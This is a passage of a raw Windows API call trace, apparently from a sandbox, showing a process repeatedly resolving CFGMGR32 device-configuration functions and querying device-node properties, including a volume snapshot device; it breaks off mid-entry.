[0232.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.968] malloc (_Size=0x18) returned 0x20abc281c20 [0232.968] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x21, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0232.968] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x469f63f8, dwHighDateTime=0x1d9eb0c)) [0232.969] SetEvent (hEvent=0x248) returned 1 [0232.974] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.974] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.978] malloc (_Size=0x18) returned 0x20abc281c20 [0232.978] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x21, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0232.978] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x46a1c37e, dwHighDateTime=0x1d9eb0c)) [0232.978] SetEvent (hEvent=0x248) returned 1 [0232.983] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.983] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.986] malloc (_Size=0x18) returned 0x20abc281e20 [0232.986] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.987] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46a1c37e, dwHighDateTime=0x1d9eb0c)) [0232.987] SetEvent (hEvent=0x248) returned 1 [0233.094] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.094] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.097] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.097] malloc (_Size=0x18) returned 0x20abc281960 [0233.097] CM_Get_Device_IDA (in: dnDevInst=0x22, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="STORAGE\\VOLUMESNAPSHOT\\HARDDISKVOLUMESNAPSHOT1") returned 0x0 [0233.098] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x46b4d67a, dwHighDateTime=0x1d9eb0c)) [0233.098] SetEvent (hEvent=0x248) returned 1 [0233.102] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.102] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.105] malloc (_Size=0x18) returned 0x20abc281de0 [0233.105] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0233.106] malloc (_Size=0x30) returned 0x20abc281310 [0233.106] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281310, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281310, pulLength=0x2dc22fd3f8) returned 0x0 [0233.107] free (_Block=0x20abc281310) [0233.107] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x46b4d67a, dwHighDateTime=0x1d9eb0c)) [0233.107] SetEvent (hEvent=0x248) returned 1 [0233.111] malloc (_Size=0x18) returned 0x20abc282060 [0233.111] SafeArrayPutElement (psa=0x20abba80610, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0233.111] free (_Block=0x20abc282060) [0233.111] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0233.112] SafeArrayGetDim (psa=0x20abba80610) returned 0x1 [0233.112] SafeArrayGetLBound (in: psa=0x20abba80610, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0233.112] SafeArrayGetUBound (in: psa=0x20abba80610, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0233.112] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0233.112] SafeArrayGetDim (psa=0x20abba80610) returned 0x1 [0233.112] SafeArrayGetUBound (in: psa=0x20abba80610, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0233.112] SafeArrayGetElemsize (psa=0x20abba80610) returned 0x8 [0233.113] SafeArrayGetElement (in: psa=0x20abba80610, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0233.114] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402310, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0233.115] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0233.115] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0233.117] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.117] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.123] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.124] malloc (_Size=0x18) returned 0x20abc281f80 [0233.125] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0233.125] malloc (_Size=0x48) returned 0x20abc27cb20 [0233.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x46b73b53, dwHighDateTime=0x1d9eb0c)) [0233.125] SetEvent (hEvent=0x248) returned 1 [0233.130] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.130] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.134] malloc (_Size=0x18) returned 0x20abc2819c0 [0233.134] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0233.138] malloc (_Size=0x48) returned 0x20abc27cb20 [0233.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46b9a990, dwHighDateTime=0x1d9eb0c)) [0233.138] SetEvent (hEvent=0x248) returned 1 [0233.212] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.212] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.215] malloc (_Size=0x18) returned 0x20abc281ba0 [0233.216] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, 